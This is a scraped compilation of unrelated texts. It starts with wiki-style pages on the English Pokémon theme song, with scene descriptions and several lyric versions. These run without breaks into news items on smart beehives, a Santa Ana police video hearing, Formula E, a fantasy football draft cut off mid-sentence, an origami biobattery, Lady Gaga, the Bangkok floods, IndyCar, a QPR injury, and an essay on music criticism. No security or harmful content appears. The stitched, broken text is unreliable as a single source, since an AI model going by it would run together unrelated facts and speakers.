Ash then flips his hat backwards and throws a Poké Ball to the camera. In the following scene, Ash can be seen running along with his Pikachu, an Arcanine and a Rapidash, who then jumps to the skies, disappearing between the Legendary birds, who are flying around. Then, a short clip of a Sandshrew unrolling itself, a Kadabra and Charmander is shown, followed by Ash and Pikachu sitting on a Lapras, as they watch a Gyarados jumping out of the water, and a Dragonair jumping in. After that, a Poké Ball is seen trapping a Pokémon who has turned into red energy.
A battle between Pikachu and Raichu is seen, with the former dodging a Body Slam of the latter; and then, a Caterpie bracing for an Ekans' and a Koffing's incoming attack. In the next scene, Ash is seen hugging his Pikachu, followed by a giant Tentacruel attacking a building. Ash then is seen holding a Poké Ball; followed by an Onix. Later, Ash appears to be looking at the screen, when Misty and Brock appear on either side of him, followed by Jessie and James rising up in front of them. Koffing, Meowth and Ekans jump up next, followed by Gary holding a Poké Ball.
The camera then runs across Charizard while using Flamethrower, Blastoise while using Hydro Pump and Venusaur; before Pikachu runs between Ash and a Lass and jumps. The next scene introduces Professor Oak, Delia Ketchum, Officer Jenny and Nurse Joy, as they nod, the camera then shows a giant Charizard using Flamethrower, and Ash and his friends hide behind a boulder, later, a Squirtle is seen running towards Ash, followed by a hug.
The camera does a close-up on Pikachu, and subsequently zooms out, showing Pikachu standing on a Pidgeotto, a Zubat holding a Squirtle, and a Butterfree holding Bulbasaur. The last scene then shows up, on which Ash raises his feet and throws the Poké Ball to the screen, much like a Baseball pitcher, followed by a spinning Poké Ball and the Pokémon logo.
Lyrics
TV version
I wanna be the very best
Like no one ever was
To catch them is my real test
To train them is my cause
I will travel across the land
Searching far and wide
Teach Pokémon to understand[1]
The power that's inside
Pokémon (Gotta catch 'em all), it's you and me
I know it's my destiny
(Pokémon!)
Oh, you're my best friend
In a world we must defend
Pokémon (Gotta catch 'em all), a heart so true
Our courage will pull us through
You teach me, and I'll teach you
Po-ké-mon
(Gotta catch 'em all!)
Gotta catch 'em all!
Pokémon!
Short version
A shorter, 30-second version is used in some airings of Volcanic Panic and Beach Blank-Out Blastoise, as well as the ending for episodes which aired as part of the second season, Pokémon: Adventures in the Orange Islands.
I wanna be the very best
Like no one ever was
To catch them is my real test
To train them is my cause
Pokémon (Gotta catch 'em all), a heart so true
Our courage will pull us through
You teach me, and I'll teach you
Po-ké-mon
(Gotta catch 'em all!)
Gotta catch 'em all!
Pokémon!
Extended version
I wanna be the very best
Like no one ever was
To catch them is my real test
To train them is my cause
I will travel across the land
Searching far and wide
Teach Pokémon to understand
The power that's inside
Pokémon (Gotta catch 'em all), it's you and me
I know it's my destiny
(Pokémon!)
Oh, you're my best friend
In a world we must defend
Pokémon (Gotta catch 'em all), a heart so true
Our courage will pull us through
You teach me, and I'll teach you
Po-ké-mon!
(Gotta catch 'em all!)
Gotta catch 'em all!
Yeah...
Ev'ry challenge along the way
With courage I will face
I will battle ev'ry day
To claim my rightful place
Come with me, the time is right
There's no better team,
Arm in arm, we'll win the fight
It's always been our dream
Pokémon (Gotta catch 'em all), it's you and me
I know it's my destiny
(Pokémon!)
Oh, you're my best friend
In a world we must defend
Pokémon (Gotta catch 'em all), a heart so true
Our courage will pull us through
You teach me, and I'll teach you
Po-ké-mon!
(Gotta catch 'em all!)
Gotta catch 'em all!
Gotta catch 'em all!
Gotta catch 'em all!
Gotta catch 'em all!
Yeah!
Pokémon (Gotta catch 'em all), it's you and me
I know it's my destiny
(Pokémon!)
Oh, you're my best friend
In a world we must defend
Pokémon (Gotta catch 'em all), a heart so true
Our courage will pull us through
You teach me, and I'll teach you
Po-ké-mon!
(Gotta catch 'em all!)
Gotta catch 'em all!
Pokémon!
Movie version
I wanna be the very best
Like no one ever was
To catch them is my real test
To train them is my cause
Ooh-ooh-ooh!
I will travel across the land
Searching far and wide
Each Pokémon to understand
The power that's inside
(That's inside)
Pokémon!
It's you and me
I know it's my destiny
(Pokémon!)
Oh, you're my best friend
In a world we must defend
Pokémon!
A heart so true
Our courage will pull us through
You teach me and I'll teach you
Po-ké-mon
(Gotta catch 'em)
Gotta catch 'em
Gotta catch 'em all
Every challenge along the way
With courage I will face
I will battle every day
To claim my rightful place
Come with me, the time is right
There's no better team, yeah!
Arm in arm we'll win the fight
It's always been our dream
(It's always been our dream)
Pokémon!
It's you and me
I know it's my destiny
(Pokémon!)
Oh, you're my best friend
In a world we must defend
Pokémon!
A heart so true
Our courage will pull us through
You teach me and I'll teach you
Po-ké-mon
(I'll teach you!)
(Gotta catch 'em)
Gotta catch 'em
Gotta catch 'em all!
Pokémon!
Extended movie version
I wanna be the very best
Like no one ever was
To catch them is my real test
To train them is my cause
Ooh-ooh-ooh!
I will travel across the land
Searching far and wide
Each Pokémon to understand
The power that's inside
(That's inside)
Pokémon!
It's you and me
I know it's my destiny
(Pokémon!)
Oh, you're my best friend
In a world we must defend
Pokémon!
A heart so true
Our courage will pull us through
You teach me and I'll teach you
Po-ké-mon
(Gotta catch 'em)
Gotta catch 'em
Gotta catch 'em all
Every challenge along the way
With courage I will face
I will battle every day
To claim my rightful place
Come with me, the time is right
There's no better team, yeah!
Arm in arm we'll win the fight
It's always been our dream
(It's always been our dream)
Pokémon!
It's you and me
I know it's my destiny
(Pokémon!)
Oh, you're my best friend
In a world we must defend
Pokémon!
A heart so true
Our courage will pull us through
You teach me and I'll teach you
Po-ké-mon
(Gotta catch 'em)
Gotta catch 'em
Pokémon!
Pokémon!
It's you and me
I know it's my destiny
(Pokémon!)
Oh, you're my best friend
In a world we must defend
Pokémon!
A heart so true
Our courage will pull us through
You teach me and I'll teach you
Po-ké-mon
(I'll teach you!)
(Gotta catch 'em)
Gotta catch 'em
Gotta catch 'em all!
Pokémon!
Characters
Humans
Pokémon
Opening animation spoilers
Ash receives his starter Pokémon, Pikachu.
The capture of Ash's Bulbasaur.
Video
By This video is not available on Bulbapedia; instead, you can watch the video on YouTube here.
Credits
Trivia
Meowth's missing fang
Errors
When Meowth, Ekans, and Koffing all jump onscreen, Meowth's right fang disappears for a split-second.
Several official sources (including lyric booklets from music CDs and closed captions in the anime) mis-transcribe the lyrics as "Each Pokémon to understand the power that's inside." John Loeffler has stated that the intended lyric is "teach", not "each".[1]
In other languages
References
Opening animation: Dub OP 17
Synopsis
A thick mist clears and Ash, Serena, Clemont, and Bonnie are shown standing on a hill. Ash and Pikachu are shown while the scene splits diagonally, with the other half showing Ash and Pikachu eating sandwiches. The next scene shows Serena while the scene splits diagonally, with the other half showing Serena and her Fennekin while she chooses between two hats. She throws the red hat away and wears the pink hat. Clemont and Bonnie are then shown and the scene splits diagonally, with the other half showing Clemont fixing one of his inventions while Bonnie chases after Chespin and Dedenne. His invention explodes and Bonnie lies on the floor.
The Team Rocket trio are on their balloon, holding binoculars. Meowth accidentally falls and Jessie and James try to grab him. Wobbuffet comes out of its Poké Ball and the trio falls out of their balloon. Ash commands Pikachu to use Quick Attack. Chespin uses Pin Missile, while Clemont instructs Bunnelby to use Dig. Bonnie jumps for joy while Dedenne uses Thunder Shock. Serena is shown while Fennekin uses Ember. Ash is then shown while Froakie shoots Water Pulse, and Fletchling uses Steel Wing. Pikachu finally uses Electro Ball. Lucario is (briefly) seen Mega Evolving. Ash and his friends are running outside a restaurant.
The "Pokémon Gotta catch 'em all!" logo is shown while the following scenes are in the background (the logo is not present in certain international versions). Two Vivillon and three Swanna are flying in the sky near a grape tree. A school of Luvdisc, a school of Remoraid, a Gorebyss, Octillery and Mantyke are swimming in the ocean. Two Furret are in a garden of flowers while four Swanna fly in the sky. A town near the pier is drizzling. A Parasol Lady, a lady with a female Meowstic, and a Quagsire holding a leaf to shield itself from the rain are in the town as well. Three Wooper and a Ducklett are on the pier. A Lotad and a Lombre are in the water, while a Magikarp leaps out of the water. Several Pidgey soar into the sky. The "Gotta catch 'em all!" slogan disappears, and "the Series XY" appears below the "Pokémon" logo.
Lyrics
TV version
I wanna be the very best
Like no one ever was
To catch them is my real test
To train them is my cause
(Pokémon!)
(Gotta catch 'em all), it's you and me
(Pokémon!)
I know it's my destiny
(Pokémon!)
Yeah, you're my best friend
In a world we must defend
(Pokémon!)
(Gotta catch 'em all)
Gotta catch 'em all
Gotta catch 'em all!
Pokémon!
Movie version
I wanna be the very best
Like no one ever was
To catch them is my real test
To train them is my cause
I will travel across the land
Searching far and wide
Each Pokémon to understand
The power that's inside
(Pokémon!)
(Gotta catch 'em all), it's you and me
(Pokémon!)
I know it's my destiny
(Pokémon!)
Yeah, you're my best friend
In a world we must defend
(Pokémon!)
(Gotta catch 'em all), a heart so true
(Pokémon!)
Our courage will pull us through
You teach me, and I'll teach you
Po-ké-mon!
(Pokémon!)
(Gotta catch 'em all)
Gotta catch 'em all
Gotta catch 'em all!
Every challenge along the way
With courage I will face
I will battle every day
To claim my rightful place
Come with me, the time is right
There's no better team
Arm in arm, we'll win the fight
It's always been our dream
(Pokémon!)
(Gotta catch 'em all), it's you and me
(Pokémon!)
I know it's my destiny
(Pokémon!)
Yeah, you're my best friend
In a world we must defend
(Pokémon!)
(Gotta catch 'em all), a heart so true
(Pokémon!)
Our courage will pull us through
You teach me, and I'll teach you
Po-ké-mon!
(Pokémon!)
(Gotta catch 'em all)
Gotta catch 'em all
Gotta catch 'em all!
(Gotta catch 'em all)
Gotta catch 'em all
Gotta catch 'em all!
Pokémon!
Characters
Humans
Pokémon
Opening animation spoilers
Ash capturing a Froakie and a Fletchling.
Serena obtaining a Fennekin.
Clemont having a Bunnelby and a Chespin, and capturing a Dedenne for Bonnie to care for.
Video
By This video is not available on Bulbapedia; instead, you can watch the video on YouTube here.
Trivia
Errors
During the scene of a rainy town, a male Meowstic is miscolored as a female Meowstic.
In other languages
Opening animation: Dub Movie 20 OP
Lyrics
I wanna be the very best
Like no one ever was
To catch them is my real test
To train them is my cause
I will travel across the land
Searching far and wide
Each Pokémon to understand
The power that's inside
Pokémon (Gotta catch 'em all), it's you and me
I know it's my destiny
(Pokémon!)
Oh, you're my best friend
In a world we must defend
Pokémon (Gotta catch 'em all), a heart so true
Our courage will pull us through
You teach me, and I'll teach you
Po-ké-mon!
(Gotta catch 'em all!)
Gotta catch 'em all!
Every challenge along the way
With courage I will face
I will battle every day
To claim my rightful place
Come with me, the time is right
There's no better team,
Arm in arm, we'll win the fight
It's always been our dream
Pokémon (Gotta catch 'em all), it's you and me
I know it's my destiny
(Pokémon!)
Oh, you're my best friend
In a world we must defend
Pokémon (Gotta catch 'em all), a heart so true
Our courage will pull us through
You teach me, and I'll teach you
Po-ké-mon!
(Gotta catch 'em all!)
Gotta catch 'em all!
Gotta catch 'em all!
In other languagesA team of eco-technologists just unveiled an open-source project for designing intelligent beehives that monitor and track the health and behavior of bee colonies. A collaborative project between FabLab BCN, Open Source Forever, Sony CSL Paris and OKNO from Brussels, the hives include a sensory kit that transmits information to an open data platform called Smartcitizen.me. The published data, along with geolocations, are used to compare and analyze the hives and help solve the problem of decreasing bee populations in developed countries around the world.
Intelligent Beehives from Nomasdf on Vimeo.
The design is based on the Warre Hive, otherwise known as The People’s Hive, which involves adding new hive boxes to the bottom and not the top of the existing hives to promote the bees’ natural tendency to build down – ensuring an environment that is healthier and better suited to their own needs. The team took the Warre Hive design and adapted it to the open structure’s grid. The elements are fabricated and assembled without the use of screws or glue.
The design of the Open Source Beehive can be freely downloaded by anyone interested in growing a bee colony. The sensors collect data and log it online, but can also send warnings to your smartphone in case something goes wrong.
+ Open-Source Beehives
+ FabLab BCN27 Shares Email
A court hearing to consider a temporary restraining order on a video showing Santa Ana police officers misbehaving during a raid of a marijuana dispensary was continued to next Thursday to give attorneys for the city of Santa Ana more time to respond.
Three officers with the Santa Ana Police Department claim they would suffer “irreparable harm” if the department is allowed to use video that the Santa Ana Police Association argues was obtained in an illegal eavesdropping operation.
The video in question was recorded during a May raid of Sky High Collective, a medical marijuana store that city officials say was operating illegally.
The request was assigned to Superior Court Judge Ronald Bauer when it was filed Tuesday morning, but Bauer has gone on vacation and won’t be returning until next week.
Judge William Claster, who took up the matter in Bauer’s absence, was skeptical of the officers’ request at a brief hearing Wednesday morning.
Corey Glave, the attorney for the officers, argued that the video should not be used against officers in the investigation because it was recorded without their knowledge or consent.
Although he did not make a decision Wednesday, Claster was not convinced that the video has caused irreparable harm just based on the fact that an investigation has been opened. He said there is a difference between illegally obtained evidence that initiates an investigation, and the use of that evidence in trial.
“What you’re really asking me to do is enjoin an investigation from going forward…when it’s not clear what’s going to come out of it,” Claster said.
Given that the city of Santa Ana received request for the temporary restraining order Tuesday morning, Claster opted to continue the hearing until next Thursday, when Bauer returns from his vacation, to give the city more time to respond.
According to Glave, two rounds of interviews have been completed as part of the investigation into officers’ conduct during the raid.
The next hearing will take place Aug. 13 at 1:30pm in courtroom CX103.
Correction: Due to a reporting error, an earlier version of this story referred to a “tentative ruling” by Judge Ronald Bauer on the request for a temporary restraining order. Bauer has not issued any ruling and will take up the request for the first time next week.
Contact Thy Vo at [email protected] or follow her on Twitter @thyanhvo.When Formula E, the first championship solely with electric vehicles, announced their 10-round street circuit calendar early December, Rio de Janeiro was back on the list. With hosting an event in this major Brazilian city and having former F1-driver Lucas di Grassi as a series’ test pilot, the new championship gained major attention in the country. Globoesporte published a lay-out for a possible street track, which is located in the South-East of the city.
The lay-out, proposed by Di Grassi, covers a four lane wide motorway and is surrounded by parks. The total length of the track is almost three kilometres and includes fifteen corners. The straights wouldn’t be greater than 600 metres, which improves the battery life of the car.
The Formula E race in Rio de Janeiro will be held on 15 November 2014.Having already completed a Fantasy Football mock draft from position one, it was time to try my second mock from position two. It is a 12 team, Points Per Reception (PPR), three wide receiver format. However, this time I changed my initial strategy and selected a wide receiver in the first round.
The result was a completely different, but overall produced a much improved team from the first mock draft.
(This mock was completed at FantasyPros and was 12 team, Point Per Reception (PPR), three wide receiver format with five bench spots. All data taken from PlayerProfiler.com)
2017 Fantasy Football PPR Mock Draft: Position Two
Round 1
1 D. Johnson RB Arizona 2 A. Brown WR Pittsburgh 3 L. Bell RB Pittsburgh 4 O. Beckham WR NY Giants 5 D. Freeman RB Atlanta 6 E. Elliott RB Dallas 7 T.Y. Hilton WR Indianapolis 8 J. Jones WR Atlanta 9 A.J. Green WR Cincinnati 10 M. Evans WR Tampa Bay 11 L. McCoy RB Buffalo 12 J. Howard RB Chicago
PICK: Antonio Brown, Pittsburgh
Reaction: Given the
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collapsible, bacteria-powered battery that uses the ancient Japanese paper folding art of origami, a report in the July issue of Nano Energy announced.
A drop of bacteria-laden liquid acts as a catalyst to power the paper battery, which folds into a square and costs five cents to make, according to its creator.
“Our simple and cheap origami biobattery is expected to be used especially in resource limited regions as a power source for other small devices like biosensors,” Seokheun “Sean” Choi, the battery’s creator and a professor at Binghamton, told PBS NewsHour.
For now, the battery is in the beginning stages of development.
Biobatteries (also known as microbial fuel cells) that generate electricity with the help of fuels like sugar glucose and even urine have been lauded for their ability to provide portable power sources, according to the November 2013 paper “The Future of Energy Bio Battery,” published in the International Journal of Research in Engineering and Technology.
Choi’s creation could be used together with paper biosensors as part of a low-cost diagnostic device. One potential application of such a device is as a cost-effective disease testing kit for use in parts of the world with scant resources.
Biobatteries also have renewable and biodegradable components that forego the heavy metals used in traditional batteries, which can be hazardous to human health and the environment. Stormwater and sewer water fuel Choi’s battery.
Although similar batteries have been written about before in science journals, Shelley D. Minteer, USTAR Professor of Chemistry and Materials Science & Engineering at the University of Utah told PBS NewsHour this was the first report of a paper-based battery using an electrode coated in bacteria to power up.
“It is a creative and interesting design that has broad application for self-powered biosensors,” she said of the new battery created by Choi and his student, Hankeun Lee.
These compact batteries do have their limitations. Since they are powered by living organisms, they must have the ideal conditions to grow and reproduce those organisms, Minteer said. In addition, the batteries have less energy density than chemical batteries as they become diluted by the water being added to them.
“These power sources are not going to be good for replacing grid power (not high enough power density),” Minteer said, “but will be ideal for powering biosensors, sensor networks, etc., where replacing batteries is not always feasible or practical.”
For more than 25 years, scientists have looked beyond the aesthetics of origami and at the math and science behind it to develop solutions to problems in fields like medicine.
Former physicist Robert Lang created a folding telescope, as well as a heart stent by using the design principles of origami. In 1995, scientists used the method to fold and deploy a solar panel array for a Japanese satellite.
Most recently, researchers at MIT created a mini origami robot that builds itself, digs, swims, climbs and carries, and then mostly dissolves when it is done.She's known for her wild and wacky costumes when she performs on stage.
But Lady Gaga showed that her quirky flair for fashion extends through to her off-duty looks too as she stepped out in New York City on Wednesday.
The Poker Face singer, 30, looked funky in a unique combo of denim dungarees, animal print and sportswear, as she headed out for a casual day.
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She's Gaga! Lady Gaga, 30, looked funky in an unique combo of dungarees, animal print and sportswear as she headed out for a casual day in New York City on Wednesday
The pop singer, real name Stefani Germanotta, flashed a bit of leg in the short light blue dungarees, which she left casually undone at one shoulder.
The loose front exposed a trendy graphic tee underneath, decorated with black music notes and jazzy leopard print sleeves, which cut just above her bicep tattoos.
Showing off her wild side further, Gaga dressed her feet in some cheetah-print ankle boots, matching the t-shirt detailing.
The singer also added a backwards baseball cap of red and camouflage print, giving the low-key look an additional sporty feel.
Leggy Gaga: The pop singer, real name Stefani Germanotta, flashed a bit of leg in the short light blue dungarees, which she left casually undone at one shoulder
Big reveal: The front exposed a trendy graphic tee underneath, decorated with music notes and jazzy leopard print sleeves
She swept back her blonde tresses into a loose pony to show off her naturally pretty features and reveal some vintage chunky gold earrings.
Shielding her face with dark square sunglasses, the Bad Romance crooner kept things cool and casual as she ventured out for the day in the Big Apple.
It seems Lady Gaga was enjoying some respite in her hometown, after an action-packed week for her career.
Taking to Instagram on Monday, the star delighted fans by announcing the first single of her untitled forthcoming album.
Wild thing! Gaga dressed her feet in some cheetah-print ankle boots, matching the t-shirt detailing
In quick succession she uploaded twelve Instagram pictures, which when viewed in rows of three on her Instagram homepage read: 'LADY GAGA PERFECT ILLUSION NEW SINGLE SEPTEMBER PERFECT ILLUSION.'
It has been reported that Brit musician Mark Ronson has assisted on the track's production.
As if that was not enough, Gaga is also proving a woman of many trades after being signed on to a new movie alongside Oscar-nominated actor Bradley Cooper on Tuesday.
Born this way: The singer flaunted her quirky flair for fashion, pairing the look with a sporty red and camoflage cap, as well as some glamorous sunglasses
Taking to Twitter, the singer excitedly announced her upcoming role in a new remake of A Star Is Born, to be directed by the Silver Linings Playbook star.
'I'm elated to be directed by & starring w/ Bradley in this project. He's a brilliant visionary artist. #AStarIsBorn #AStarIsBornCooperGaga,' she tweeted.
This will be a third remake of the movie, which was originally released as a drama in 1937 and starred Janet Gaynor and Fredric March.
The film tells the story of Cooper’s fading movie star who helps a young actress (Gaga) get her big break.
Popstar to film star: Taking to Twitter on Tuesday, the singer excitedly announced her upcoming role in a new remake of A Star Is Born, directed by Bradley Cooper
Her busy schedule may also be easing the pain of recent breakup to former fiancé, actor Taylor Kinney, 35.
The couple, who met on set of her You and I video back in 2011, became engaged on Valentine's Day in 2015, before splitting this July.
Sources told People that the pressures of their careers drove them apart, with both regularly travelling away from home.
Taylor filmed his hit TV show Chicago Fire on location for months at a time, while Gaga was often performing around the world.
'Their work kept them apart a lot,' an industry source told the magazine.
Love is pain: Her busy schedule may be easing the pain of breakup to former fiancé, actor Taylor Kinney in July (pictured)
However, Gaga later took to Instagram to spill on the split, revealing that it could perhaps only be a break in time.
Posting a black and white shot of the couple arm in arm, she emotionally wrote: 'Taylor and I have always believed we are soulmates. Just like all couples we have ups and downs, and we have been taking a break.'
'We are both ambitious artists, hoping to work through long-distance and complicated schedules to continue the simple love we have always shared,' she explained.
'Please root us on,' she concluded. 'We're just like everybody else and we really love each other.'Updated at 1:31 p.m. ET
BANGKOK - Clambering aboard bamboo rafts and army trucks, residents fled waterlogged homes on the outskirts of Thailand's capital on Thursday as floods that have engulfed a third of the country inched closer to downtown areas and foreign governments urged their citizens to avoid unessential travel to the threatened city.
Most of Bangkok remained dry and most of its more than 9 million residents were staying put to protect their homes. Still, uncertainty over the capital's fate and the start of a government-declared five-day holiday fueled an exodus of people fearing the worst who clogged highways and air terminals to get out of town.
Tears welling in her eyes, Prime Minister Yingluck Shinawatra acknowledged her government could not control the approaching deluge.
"What we're doing today is resisting the force of nature," Yingluck told reporters. She said the water bearing down on Bangkok was so massive that "we cannot resist all of it."
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The floods, the heaviest in Thailand in more than half a century, have drenched a third of the country's provinces, killed close to 400 people and displaced more than 110,000 others. For weeks, the water has crept down from the central plains, flowing south toward the Gulf of Thailand. Bangkok is in the way, and today it is literally surrounded by behemoth pools of water flowing around and through it via a complex network of canals and rivers.
By Thursday, flooding had inundated seven of Bangkok's 50 districts, most on the northern outskirts. There, roads have turned into rivers and homes and businesses are swamped. On one flooded key east-west artery, police were turning back small cars, telling them the road had become impassable.
The government has expressed deep concern over higher-than-normal tides expected through the weekend which are expected to peak on Saturday. Yingluck has warned the entire city could flood if key barriers burst or if the Chao Phraya river, which snakes its way through the heart of the metropolis, crests above flood barriers lining its banks.
The river has overflowed already, sending ankle-high water lapping at the white exterior walls of Bangkok's gilded Grand Palace, a highly treasured complex that once housed the kingdom's monarchy and is a major tourist attraction.
The water has receded with the tides, slightly flooding the area in the morning and evening, but leaving it bone dry in the afternoon.
After visiting the Grand Palace on Thursday, American tourist Kathy Kiernan said she wasn't too concerned about flooding in the capital.
"We were a little worried when we got in to see sandbags around our hotel," said the 47-year-old from Salt Lake City, Utah. "But so far it's pretty normal. Everything looks fine, though we know anything can happen."
Though floods a day earlier swept through Bangkok's Don Muang airport and shut it down, the city's main international airport is operating as usual.
Several foreign governments issued advisories urging their citizens against all but essential travel to Bangkok. Britain's Foreign Office said "flooding is likely to disrupt transport, close tourist attractions and may affect electricity and water supplies."
The U.S. Embassy cautioned Americans that ground travel around Thailand was difficult and the situation should be monitored closely.
Buses, planes and trains at the city's transportation hubs were filling up, as many decided to wait out the floods in their home towns or in unaffected beach resorts to Bangkok's south and east.
As fears of urban disaster set in, emergency preparations continued.
The government's Flood Relief Operations Center announced a contingency plan to evacuate the capital's residents to nearby unaffected provinces in case of widespread flooding in the city. The military and government agencies would transport people from evacuation points to schools and other facilities that would serve as shelters.
Within the city, the Bangkok Metropolitan Authority has set up 234 shelters it says can house nearly 78,000 people. Authorities say there are currently about 7,500 displaced people in the sprawling metropolis.
Residents stocking up on necessities have raided supermarket shelves, setting off a cycle of panic buying, and stores have posted notices that flooding has disrupted supply chains and left them unable to restock some items. But food was nevertheless plentiful, as most of the city's thousands of restaurants, bars and street-side food stalls were operating full-swing.
Nuntaporn Khorcharoen, whose home is adjacent to the heavily inundated Bang Phlat district, said her family had stocked up and was staying put.
"My father is adamant we have to stay to oversee the situation," the 30-year-old said. "He said even without electricity, we will still have something to live on."[Source: AJ Foyt Racing PR]
WALLER, Texas Feb. 17, 2014—IndyCar rookie Martin Plowman will do the “Indy Double” this May, thus taking part in the IndyCar Series’ newest race and, two weeks later, its most historic competition at Indianapolis Motor Speedway.
The 26-year-old Englishman will drive the No. 41 Al-Fe Heat Treating Honda in the Grand Prix of Indianapolis and the No. 41 ABC Supply Honda in the Indianapolis 500 it was announced by the ABC Supply/AJ Foyt Racing team today.
The venture marks the first time that Al-Fe Heat Treating will be the primary sponsor of an Indy Car. The company began as an associate sponsor of the ABC Supply/AJ Foyt Racing team in 2011. The Ft. Wayne, Indiana-based company has continued to build its involvement in the IndyCar Series over the past three seasons; Al-Fe started as an associate sponsor of the No. 41 car in the Indy 500 and became a season long associate sponsor on the No. 14 car in the IndyCar Series.
“We, at Al-Fe Heat Treating, are very excited about being a primary sponsor with AJ Foyt Racing for IndyCar’s inaugural Grand Prix of Indianapolis in our home state and before our home crowd!” said Kurt Westman, President of Al-Fe Heat Treating. “Larry [Foyt] and I have discussed this possibility over the last season and we feel this is the perfect venue for us to step-up with the team.
“Being part of bringing Martin back to IndyCar is special and having him run both races at Indianapolis will allow us to build momentum and teamwork going into the ‘500’. I am looking forward to meeting Martin at this Wednesday’s practice at Sebring,” Westman added.
Plowman, who will test for the team at Sebring International Raceway Feb. 19th, is thrilled about the prospects of returning to the IndyCar Series.
“Once my career took me to sports cars I was concerned that I would never get the chance to race at and win the Indy 500,” Plowman revealed. “Winning at Le Mans last year was an incredible feeling that can only be beaten by one day adding my face to the Borg Warner trophy. I’ve lived in Indianapolis for the last five years, and winning there is what I dream about.
“I have to say a massive thank you to Larry and A.J. Foyt, ABC Supply, Al-Fe Heat Treating and all who have made this opportunity possible,” Plowman added. “A.J. Foyt is one of the greatest drivers to have lived and someone who I look up to a lot. It will be an honor to represent his team in May.”
Plowman, who will make his Indy 500 debut, has competed on the 2.5 mile oval twice in the Indy Lights Series, finishing fifth in 2010 for Andretti Autosport. He went on to finish third in the series championship that year. In 2011, he competed for Sam Schmidt Motorsports in three IndyCar races, all of which were on road and street courses. His best finish was 11th in the Baltimore Grand Prix.
Team Director Larry Foyt is anticipating a smooth return to the Series by Plowman, who spent the past two years competing in sports cars. In 2012, Plowman finished second in the American Le Mans Series LMP2 division and then won the 2013 FIA World Endurance Championship along with the historic 24 Hours of Le Mans, also in the LMP2 division.
“I always kept an eye on Martin ever since I got to know him on the Indy 500 Centennial Tour,” said Foyt, who attended the 10-day visit to U.S. military bases in Europe and southwest Asia along with an IndyCar contingent of drivers, team owners and officials in 2011. “Martin did a nice job without much seat time in the few IndyCar races he participated in, and has had great results in a tough sports car division. I think he is a great fit for Al-Fe Racing and the ABC Supply/AJ Foyt Racing team–he brings the kind of attitude that helps everyone succeed. I’m looking forward to working with him and I think we can achieve good results for car 41.”
Plowman will test the Al-Fe Heat Treating Honda on the Indianapolis Motor Speedway road course along with regular ABC Supply driver Takuma Sato on April 30 when the IndyCar Series hosts an open test for all participants.
The Grand Prix of Indianapolis will be broadcast live by ABC-TV on May 10 starting at 3:30 p.m. ET. For the 50th straight year, the Indianapolis 500 will be broadcast by ABC-TV with the live pre-race show starting at 11:00 a.m. ET on May 25th.Eduardo Vargas ruled out for the season
Chile striker suffers MCL knee injury against WBA
Richard Dunne and Leroy Fer nearing return from similar injuries
QPR striker Eduardo Vargas is set to miss the remainder of the 2014/15 Barclays Premier League season.
The 25 year-old - having opened the scoring in Saturday's 4-1 win at West Bromwich Albion - was replaced on the half hour mark at The Hawthorns after falling awkwardly on his left knee.
Scans have since revealed Vargas sustained a grade two medial collateral ligament injury, which is likely to keep him sidelined until the end of the season.
KNEE: Eduardo Vargas will miss the rest of the season with a MCL injury it has been confirmed
Vargas is the third QPR player to sustain an MCL injury since the turn of the year, following recent injuries to Richard Dunne and Leroy Fer.
However, both Dunne and Fer are now closing in on a first team return, with the pair potentially in line to be in contention for the visit of West Ham United to Loftus Road at the end of the month.
See also...Last week, the rapper Kendrick Lamar released “untitled unmastered.,” a collection of eight new songs. He announced their spontaneous début simply by tweeting a link to the iTunes store. Earlier this winter, Kanye West and Rihanna each issued full-length records without explicit prior warning (there was coy, then less coy, hinting from both), thwarting the more traditional channels of publicity in which a new album is announced, promoted, and sent to critics in advance of its release date. The come-and-get-it approach (successfully employed, in the past, by Radiohead, Beyoncé, U2, and others) remains a luxury afforded only to established artists, for whom global celebrity guarantees copious press. But it’s a luxury that has been embraced with impunity by this platinum class: now, we move forward presuming big new releases are lurking around each corner, a series of coiled springs waiting to be sprung.
Reviews of this season’s surprise records appeared in almost every national publication with a viable arts section within five days of their release dates. (I wrote one myself, of Rihanna’s “Anti,” for Pitchfork.) The headline of a particularly giddy and expeditious appraisal of “untitled unmastered.,” published by the U.K. edition of GQ mere hours after the record appeared online, emphatically declared Lamar a “genius.”
No one wants to be a doddering relic, squawking about the glory of olden times, when we churned fresh butter and listened to new records for a couple of weeks before bestowing numerical scores upon them. But, for me, the idea that the culture is now not merely accepting but, in fact, demanding instantaneous critical evaluations of major works of art feels plainly insane. Last November, Yahoo News accidentally published a fill-in-the-blanks review for “Anti” months before the record was even finished, featuring sentences like “The 27-year old performer’s latest album has [NUMBER OF TRACKS].” The writer Ben Greenman later called the gaffe “a masterpiece of post-modern non-journalism.” For anyone who cares about music criticism, it felt a little like getting pegged squarely in the face with a water balloon.
How much time is enough time to responsibly assess a concept already as odd and pliable as “merit”? How does art figure into a life? How long will it take until we really know what a song or record means, how it works on us, how it works on others, what it does, if it might endure, and why? Who hasn’t lived with a record for weeks, only to wake up one morning and find that it has suddenly unlocked a whole new suite of rooms deep in one’s subconscious?
The drawbacks to precipitous, hysterical judgment are obvious. Good art often takes time to make, and it often takes time to understand, too. It doesn’t feel unreasonable to suggest that perhaps the very first thing a person should do when faced with some nascent creation is not frantically and qualitatively assess its value. Imagine being tasked with writing an insightful, definitive obituary for a person you once fidgeted beside for two hours and forty-five minutes on a midday flight from Tampa to Chicago.
When a major record is leaked, it takes only minutes—actual minutes—before critics encircle and descend upon it, evaluating. For those of us still professionally beholden to this rarefied occupation, news of a noteworthy album suddenly appearing online is like a Bat Signal beaming out over Gotham, beckoning us all back toward our overheating laptops—only instead of a small, dignified silhouette portending great heroism, it is a giant panicked-face emoji, rendered in a wan, sickly yellow. Beers are abandoned. A chicken wing, half-chomped, cools in a plastic basket. Yoga mats are deserted. “Gotta split!” disappearing music journalists pant over their shoulders, arms pumping, sprinting toward Wi-Fi. This, of course, is not a graceful dash—but there is fresh judging to do! One begins to feel like an underfed circus cat, anxiously pacing a padlocked cage, waiting for the door to swing open and some cackling, leather-faced carny to heave a bloodied carcass inside, so that it may be pounced upon and devoured.
In the music-criticism courses I teach at New York University, I encourage my students to address not just the technical particularities of a song or album but also the experience of hearing it: art is measured not just by the space it takes up but by the air it moves. It is important that a critic know some things about music (history, theory, social utility), and, as with any journalistic pursuit, additional research to bolster that knowledge is paramount. But writers also need to know what they think about a record—how it moves them.
